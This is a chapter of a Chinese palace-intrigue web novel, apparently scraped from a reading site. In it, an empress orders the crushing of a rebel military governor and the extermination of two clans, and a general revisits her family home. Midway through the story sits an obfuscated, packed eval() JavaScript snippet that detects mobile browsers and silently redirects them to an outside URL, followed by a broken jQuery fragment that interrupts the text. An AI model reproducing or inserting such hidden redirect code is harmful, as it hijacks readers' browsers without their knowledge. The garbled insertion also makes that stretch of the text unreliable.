空谢荼蘼 作品

6. 紫薇

宣政殿内。


几人垂着头,眼观鼻鼻观心,心中揣测着陛下召集几位重臣的目的。


而且......其中多数是武将。


宋撄宁入殿时,恰好望见谢华筝鬓边的几缕银白,抿了下唇。


老师又添白发了。


众人向她见礼,宋撄宁点点头,吩咐侍从搬来梨花木椅,让老师歇一歇。


“朕急召诸位爱卿,实属无奈之举。”她示意王寒英,“刑部和京兆尹查到了许长敬、云氏、王氏的谋逆罪证。”


崔望熙气息一滞,眸光冷若寒霜,他立刻接过那些信纸及证言,快速扫过。


王氏密语虽未被完全破译,但透露出的内容已经足以叫他杀意迸发。


扫视完后,他将证物交给身后的兵部尚书谢翼,自己则默默凝视着玉阶之上,端坐的帝王。


他再一次认识到,那个东宫里天真寡言的小女郎,似乎在某个瞬间,已然成长。


父族毫不留情的挥刀,竟也能平静以对。


“诸位看完,有何对策?”


左千牛卫大将军冯遇恩直接上前一步:“臣愿挂帅出征,替圣人斩了许长敬那心怀不轨的反贼!请圣人恩准!”


谢翼道:“臣也以为,冯大将军领兵最佳,他曾与许长敬同在镇国公麾下,共事多年,对其最是了解,知己知彼,比臣等都合适。”


侍从取来舆图铺开,宋撄宁指了指京畿道下方的一块区域:“欲入剑南,必经山南东道,其中夔州、襄州的州府长官,分别出自云氏和云氏的附庸,钱氏。”


崔望熙顺着她指尖位置看去,女郎的指节纤细白皙,浅浅泛着粉,内侧有多年执笔留下的薄茧。


他眨了下眼,心中滑过一丝异样,问道:“陛下是担心他们报信吗?”


宋撄宁道是。


“那便先将此二人拿下,冯将军暂行陈兵郊外,确保消息不会走失后,再入山南。”


“按崔相说的办。”宋撄宁的目光未曾离开舆图,“传旨,夔州刺史、襄州刺史私行贿赂,中饱私囊,押送入京容后发落。”


符染为她展开明黄的绫锦绢绸,将沾好墨的御笔递来。


“剑南道节度使许长敬,拥兵自重,蔑视君威,行迹猖狂,罪不容诛。“


“故令左千牛卫冯遇恩为主帅,领兵十二万,扫除凶逆,匡扶社稷,保卫家园。”


最后一句“布告天下,咸使闻之”落笔后,宋撄宁取来手边的皇帝信宝,重重地印下。


做完这一切,她将圣旨递给符染。


“另外,王氏、云氏以谋大逆罪论处,诛九族,左领军卫大将军王寒英持朕旨意,查抄二府,往来亲密之人,若有朝中任职者,褫夺官位,流放岭南道。”


后面关于府上人口的处理,绞杀或为奴,便也不必她多费心了。


只是云氏是宋撄宁父族,族庙内仍供着镇国公的牌位。


王寒英捧着圣旨俯首:“臣知道该怎么做,云氏罪行,与镇国公无关,不会令国公爷蒙羞的。”


“好。”宋撄宁十分宽慰,“王氏你自行去处理,朕之后会追封你母亲与长姐国夫人和郡主之位,今起,爱卿这一支迁出王氏,不与之同罪。”


随后,几人对着剑南道山川舆图,商讨了一番行军路线与攻进方略,最终在确保京畿固若金汤的前提下,夜行山路,迟则生变。


讨论结束时已月明星稀,凉风飒飒。


宋撄宁亲自送太傅谢华筝离开,路上照例询问了几句,得知老师一切安好身子康健,才百般不舍地目送她坐上马车。


粼粼的车轮声在寂静的宫道里回荡着。


“太傅与朕......”宋撄宁的声音很轻,仿佛叹息,“竟避嫌至此。”


甚至,连她想倾诉自己的难过、悲伤,像从前一样亲近老师,都不给机会。


东宫里的温馨岁月,从她坐上那高贵的帝王宝座开始,便早已成为回不去的时光了。


“谢太傅出身名流谢氏,又教导圣人多年,此举......到底是为了圣人着想。”符染将披风搭在她肩头,仔细系好。


“陛下。”


崔望熙站在阶前,身姿清隽修长,皎洁的月色洒在他俊美淡漠的脸上,如同蒙了层白纱。


“春夜露重,崔相还不回去吗?”


宋撄宁头上戴了支做工精致的凤钗,钗尾坠着一颗明珠,行动间会微微颤抖。


崔望熙盯着那颗明珠,觉得好似女郎的眼泪,滑过娇嫩的面颊雪肤,晶莹易碎。


刚刚知道云氏谋逆的时候,宋撄宁有没有哭?


她是独自埋头哭完,然后擦干那一滴滴明珠,再摆出平静端方的姿态,宣召众臣下旨诛逆吗?


还是早有预料,安然接受?毕竟为君为帝,本就孤家寡人。


血脉亲情与无上皇权,人们自然知道如何选择。


崔望熙想起初见宋撄宁。


那一年设宴,他随族中长辈进宫,宫闱深深,压得人喘不过气。


延嘉殿外种了大片紫薇花,放眼望去,如蓝紫的薄云,给这沉寂的大明宫添了色彩。


崔望熙捧了一簇紫薇在掌心,只觉轻盈又美丽。


崔氏族中多以青竹、白梅为饰,盼着子弟们耳濡目染,品行高洁,他没见过这样生动的花儿。


直到遥遥等候的内侍恭恭敬敬地唤了声“皇太女殿下”,崔望熙猝然松手,便见一个沉静稚气的小女郎在他身侧走过,后面跟着一大串宫人。


宋撄宁那日,也正是一袭粉紫的衣裙,飘摇的裙角像一簇紫薇花。


轻盈又美丽。


一年后,崔望熙入朝堂,一身绿衣君子如玉,殿前奏对不卑不亢。


他收回思绪,看着月下身着尊贵常服的女帝,眼帘微动。


“活捉许长敬后,陛下要怎么处罚?”


宋撄宁语气坚定:“削首。”


“太轻了。”崔望熙低喝一声,“谋大逆,是要凌迟的。”


她发钗上的明珠颤抖一下,应了崔望熙的提议:“那就按崔相的意思凌迟处死,以儆效尤。”


“陛下英明果断,是社稷之福。”他躬了下身,“臣告退。”


崔岐在车驾边,见他过来,立刻将矮凳摆好。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966530|161269||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


崔望熙掀起衣摆,弯腰进了车内,他注意到女帝的视线,在自己身上短暂停留了一下。


如飞鸿踏雪,来去匆匆。


冷月清辉照得宣政殿前的地砖一片银白,夜风吹起衣摆,宋撄宁抚了抚鬓角,道:“回宫吧。”


次日,夔州、襄州刺史被暗中带走,冯遇恩在京畿大营点兵,取道山南,直攻许长敬。


王氏、云氏谋逆罪名昭告天下,左领军卫大将军王寒英持帝王旨意,带兵查抄。


能与谢氏、崔氏、卢氏齐名的升州王氏,就此倾塌。


百年大族,化为废墟。


王寒英顺着府中的长廊往里走,绕过一汪清澈的池塘,来到一个狭小衰败的院门口。


这里曾经住着她、母亲与长姐。


她曾在这里度过了十余年不算幸福富裕,但是很安宁的生活。


比不得主系那些贵气骄傲的公子女郎,她出身旁支,并不是想象中的那般尊荣。


后来因为父亲的懦弱无能,不敢反抗,因为家族所谓的体面荣光,这个小院也成了长姐自缢之地。


印象中,她的母亲是个很有才华的女郎,但生不逢时,没有能赶上上皇的新政,没能入书院做她梦想中的女夫子,便匆匆被安排嫁了人,一方小院困住一生。


犹记得母亲抱着她和长姐坐在窗前,含笑着给她们解释二人的名字。


长姐名唤王疏影,她叫王寒英。


一个是梅,一个是雪。


也正是母亲最喜欢的两样东西,寄予了对她们姐妹二人的美好期待。


奈何疏影凋零,雪落无依。


王寒英掌心贴上染了锈的铜锁,又缓缓收回。


里面一无所有。


追封母亲与长姐的圣旨已经到了她的大将军府邸,这个小院,不必再来了。


宋撄宁随意翻阅了一下王氏和云氏查抄上来的财宝,连连咂舌。


“阿染你看,”她抚额垂头,“世族豪门何其富有,都快抵得上半个国库了。”


符染笑着给她斟茶:“这下户部的老臣可算要消停一会了,一把年纪了还日日在圣人面前挡着脸假哭,也不知羞。”


“也不怪他们着急,国库的确紧张,只盼着水部那里的‘祈雨’顺利些,能叫朕看看成果。”


“这个法子若当真有效,今后百姓也不必再受旱灾之苦了。”


宋撄宁端着茶盏,有些出神,面前的弹幕正在聊着那“人工降雨”的预估效果,热火朝天。


等解决了此次山南西道旱情之后,她就要着手于目前最大的威胁——节度使了。


所谓不破不立,历来推陈出新总要经历些困难,更别说她企图颠覆一个牢不可破的制度了。


纵前路腥风血雨,宋撄宁亦无惧无畏。


那镇守一方的节度使,是大邺亡国最大的隐患与毒瘤,威胁京畿、拥兵自傲,与朝臣勾结,地方大权不在帝王手中,她如同一个被架空的傀儡,岌岌可危。


宋撄宁落笔,对政事堂下达了一道旨意。


御书房的窗外种了几株细叶紫薇,枝头点点新绿,生机盎然。